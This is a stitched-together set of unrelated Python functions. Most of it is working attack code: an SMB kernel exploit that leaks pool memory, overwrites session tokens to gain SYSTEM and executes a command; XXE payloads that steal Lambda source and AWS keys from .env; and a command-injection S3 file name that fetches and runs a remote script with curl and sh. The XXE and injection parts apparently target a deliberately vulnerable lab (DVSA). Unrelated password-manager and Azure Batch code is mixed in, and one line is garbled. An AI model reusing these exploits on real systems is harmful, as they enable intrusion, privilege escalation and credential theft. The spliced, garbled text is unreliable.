def leak_frag_size(conn, tid, fid): # this method can be used on Windows Vista/2008 and later # leak "Frag" pool size and determine target architecture info = {} # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input # Detect target architecture and calculate frag pool size if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': logger.alert('TARGET ARCHITECTURE: {}'.format(logger.BLUE('32 bit'))) info['arch'] = 'x86' info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN'] elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': logger.alert('TARGET ARCHITECTURE: {}'.format(logger.BLUE('64 bit'))) info['arch'] = 'x64' info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN'] else: logger.error('Not found Frag pool tag in leak data') sys.exit() logger.info('FRAG SIZE: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) return info
def auth() -> Tuple[str, Dict[str, str]]: # check if salt and/or encrypted password file are corrupt if not secure.salt_and_pwds_store_ok(): logr.alert(f""" Salt or password store appear to be corrupt. There isn't much we can do. If you have a backup of those files, fetch it and replace both of them, if not, please run `pwds launch`. On your computer salt and passwords are stored here: {config.SALT_FILE} {config.PWDS_STORE_FILE} """) sys.exit(1) mpwd: str pwds: Optional[Dict[str, str]] while True: mpwd = getpass.getpass('Master Password: '******'Master Password incorrect. Try again.') return mpwd, pwds
def main(): target = args.target logger.target(args.target) logger.alert('CONNECTING TO TARGET: {}'.format(logger.ORANGE(args.target))) if args.pipe: pipe_name = args.pipe logger.action('SKIPPING PIPE DISCOVERY') logger.alert('USING SPECIFIED PIPE: {}'.format(logger.ORANGE(args.pipe))) else: pipe_name = None try: exploit(target, pipe_name) logger.success('FINISHED!') except: logger.error('COULD NOT CONNECT TO {}'.format(target))
def _submit_job(job: Job, job_config: JobConfiguration, mapper: object): """ Submits a job to the Batch service via the Batch Extensions client. """ try: job_exists = batchapi.does_job_exist(job_config.batch_client, job.job_id) if job_exists == True: logger.alert("job already exists with id: {}, skipping.".format( job.job_id)) return pool_name = job_config.pool_name logger.debug("configuring job with identifier: '{}'".format( job.job_id)) # call out to the dynamic module to map the parameters mapped_params = mapper.map_parameters( job_config.storage_acc_url, job_config.storage_client, copy.copy(job_config.job_parameters), job.job_id, job.container, job.scene_file, job.priority, job.start_frame, job.end_frame, pool_name) logger.debug("mapped parameters: ", mapped_params) # get batch extensions client to map the parameters to the job template job_json = job_config.extensions_client.job.expand_template( job_config.job_template, mapped_params) jobparameters = job_config.extensions_client.job.jobparameter_from_json( job_json) # submit the job logger.info("submitting job to batch extensions client: ", job.job_id) job_config.extensions_client.job.add(jobparameters) except BatchErrorException as bex: logger.error("caught batch exception while submitting job: ", job.job_id) exception_utils.print_batch_exception(bex) except Exception as ex: logger.error( "caught generic exception while submitting job: '{}'. with error:". format(job.job_id), ex)
def xploit_xxe(): xxe_ok_request = '<?xml version="1.0"?><movie>Harry Potter</movie>' xxe_steal_source = '<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY test SYSTEM "/var/task/handler.py">]><movie>&test;</movie>' xxe_steal_env = '<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY test SYSTEM ".env">]><movie>&test;</movie>' xxe_endpoint_err = "Could not find movies with:" aws_output_file = utils.LOCAL_FOLDER + ".awsoutput" aws_cli_err = "An error occurred (AccessDenied) when calling the ListUsers operation: User: movies-db-user is not authorized to perform: {}:{}" profile = utils.getProfile() if "endpoint" in profile and profile["endpoint"] is not None: endpoint = profile["endpoint"] else: endpoint = logger.input("Please insert the XXE-vulnerable Lambda's endpoint > ") profile["endpoint"] = endpoint utils.updateProfile(profile) with open(utils.LOCAL_FOLDER + ".endpoint", "w+") as f: f.write(endpoint) logger.info("Using endpoint: " + endpoint) header = {'content-type': 'application/xml'} response = utils.ApiCall(endpoint, "POST", xxe_ok_request, header) try: res = json.loads(response) except: res = response if "status" in res and res["status"] == "ok": logger.alert("Got answer from endpoint. Trying exploits...") logger.info("[!] Trying to steal source code") data = xxe_steal_source response = utils.ApiCall(endpoint, "POST", data, header) try: res = json.loads(response) except: res = response if "status" in res and res["status"] == "err" and "result" in res and res["result"].find(xxe_endpoint_err) > -1 and res["result"].find("import") > -1: logger.alert("Lambda source code obtained! Parsing code...") for i in range(0, 5): sys.stdout.write(".") time.sleep(0.5) sys.stdout.flush() logger.info(". [!] Additional file(s) identified. Trying to steal.") data= xxe_steal_env response = utils.ApiCall(endpoint, "POST", data, header) try: res = json.loads(response) except: res = response if "status" in res and res["status"] == "err" and "result" in res and res["result"].find(xxe_endpoint_err) > -1 and res["result"].find("aws_access_key_id") > -1: logger.pwned() raw_keys = res["result"].replace(xxe_endpoint_err, "").rstrip() keys = json.loads(raw_keys) logger.alert("[!] AWS keys obtained! Trying to access other resources...") os.environ["AWS_ACCESS_KEY_ID"] = keys['aws_access_key_id'] os.environ["AWS_SECRET_ACCESS_KEY"] = keys["aws_secret_access_key"] logger.info("[X] Trying IAM") service = "iam" action = "list-roles" cmd = "" utils.run_aws_cmd(service, action, cmd) logger.info("[X] Trying DynamoDB") service = "dynamodb" action = "list-tables" cmd = "" utils.run_aws_cmd(service, action, cmd) logger.info("[X] Trying S3") service = "s3" action = "ls" cmd = "" utils.run_aws_cmd(service, action, cmd) if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0: with open(aws_output_file, "r") as f: output = f.readlines() list_buckets = [] for line in output: logger.alert(line.rstrip()) list_buckets.append(line[20:].rstrip()) logger.info("[X] Trying to access buckets(s)") service = "s3api" action = "list-objects-v2" for bucket in list_buckets: cmd = "--bucket {}".format(bucket) utils.run_aws_cmd(service, action, cmd) if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0: with open(aws_output_file, "r") as f: logger.info(f.read()) raw_input() else: logger.error("XXE exploit did not work!") else: logger.error("Invalid response. Please check endpoint and try again.") raw_input() return
def xploit_injection(): profile = utils.getProfile() aws_output_file = utils.LOCAL_FOLDER + ".awsoutput" if "account" in profile and profile["account"] is not None: account = profile["account"] else: account = logger.input("Please insert the AWS Account ID on which DVSA is installed > ") profile["account"] = account utils.updateProfile(profile) with open(utils.LOCAL_FOLDER + ".account", "w+") as f: f.write(account) logger.debug("generating random url") rand = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) url = "https://cl1p.net/dvsa-s3-attack-" + str(rand) logger.debug(url) logger.debug("getting page hash") pageHash = utils.ApiCall(url, "GET", None, None) if pageHash.find("pageHash") == -1: pageHash = utils.ApiCall(url, "GET", None, None) pgh = pageHash.split("pageHash")[1][9:73] sqh = pageHash.split("seqHash")[1][9:73] logger.debug(pgh) logger.debug(sqh) logger.info("creating malicious files name") fname = "_;cd ..;cd ..;cd tmp;echo {}>r;echo {}>p;echo {}>s;curl xza.s3-website-us-east-1.amazonaws.com>x;sh x;ls x.raw".format(rand, pgh, sqh) logger.debug(fname) logger.info("uploading malicious file to s3 bucket") bucket = "dvsa-receipts-bucket-{}".format(account) if profile["proxy"] is not None: proxy = {'http': profile["proxy"], 'https': profile["proxy"]} else: proxy = {} s3 = boto3.client('s3', config=Config(proxies=proxy), verify=False) s3.upload_file('/dev/null', bucket, '2020/20/20/{}'.format(fname), ExtraArgs={'ACL': 'public-read'}) logger.info("Malicious file was uploaded successfully.") logger.debug("Uploaded to bucket: " + bucket + ", path: 2020/20/20/") logger.info("Waiting for remote account to execute the malicious payload ") for i in range(5): sys.stdout.write('.') sys.stdout.flush() time.sleep(1) print("\n") logger.info("fetching keys from: {} (link will no longer be accessible)".format(url)) res = utils.ApiCall(url, "GET", None, None) locs = res.find('<textarea name="content">') if locs == -1: logger.error("something went wrong.") sys.exit(3) else: loce = res.find('</textarea>') content = res[locs + 25:loce] rawkeys = base64.b64decode(content) logger.pwned() logger.alert(rawkeys) if rawkeys.find("AWS_SESSION_TOKEN") != -1 and rawkeys.find("AWS_ACCESS_KEY_ID") != -1: for line in rawkeys.split('\n'): if line.upper().startswith("AWS_SESSION_TOKEN="): os.environ["AWS_SESSION_TOKEN"] = line[18:].rstrip() elif line.upper().startswith("AWS_ACCESS_KEY_ID="): os.environ["AWS_ACCESS_KEY_ID"] = line[18:].rstrip() elif line.upper().startswith("AWS_SECRET_ACCESS_KEY="): os.environ["AWS_SECRET_ACCESS_KEY"] = line[22:].rstrip() else: pass logger.pwned() logger.alert("Got remote lambda keys! Trying access to other resource...") logger.info("[X] Who am I? (caller-identity)") service = "sts" action = "get-caller-identity" cmd = "" utils.run_aws_cmd(service, action, cmd) if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0: with open(aws_output_file, "r") as f: output = f.readlines() logger.info(''.join(output)) for line in output: if line.find("Arn") > -1: rolename = line.rstrip().replace("|", "").split("/")[1] logger.info("[X] Trying IAM") service = "iam" action = "get-role" cmd = "--role-name {}".format(rolename) utils.run_aws_cmd(service, action, cmd) logger.info("[X] Trying DynamoDB") service = "dynamodb" action = "list-tables" cmd = "" utils.run_aws_cmd(service, action, cmd) if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0: with open(aws_output_file, "r") as f: output = f.readlines() logger.info(''.join(output)) logger.info("[X] Trying to access table(s)") tables_list = [] for line in output: line = line.replace("|", "").replace("+", "").replace(" ListTables ", "").replace(" TableNames ", "").replace(" ", "").rstrip() if len(line) > 3 and line.find("----") == -1: tables_list.append(line) action = "scan" for table in tables_list: if table.startswith("DVSA"): cmd = "--table {}".format(table) utils.run_aws_cmd(service, action, cmd, "text") if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0: with open(aws_output_file, "r") as f: logger.info(f.read()) raw_input() return True else: logger.error("Sorry, could not obtain keys.") logger.pressAnyKey() raw_input() return False
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) logger.action('GETTING TARGET OPERATING SYSTEM...') server_os = conn.get_server_os() logger.alert('TARGET OS: {}'.format(logger.BLUE(server_os))) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: logger.error('EXPLOIT DOES NOT SUPPORT THIS TARGET...') sys.exit() if pipe_name is None: logger.action('GETTING PIPE...') pipe_name = find_named_pipe(conn) if pipe_name is None: logger.error('COULD NOT FIND NAMED PIPE...') return False logger.success('USING PIPE: {}'.format(pipe_name)) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] logger.action('CREATING SYSTEM SESSION TO SMB...') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] logger.info('CURRENT TOKEN ADDR: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) logger.action('OVERWRITING TOKEN UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) logger.action('OVERWRITING SESSION SECURITY CONTEXT') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ # try: smb_pwn(conn, info['arch']) # except: # pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
def smb_pwn(conn, arch): smbConn = conn.get_smbconnection() logger.alert("Writing command to service: {}".format(logger.YELLOW(args.command))) service_exec(conn, args.command)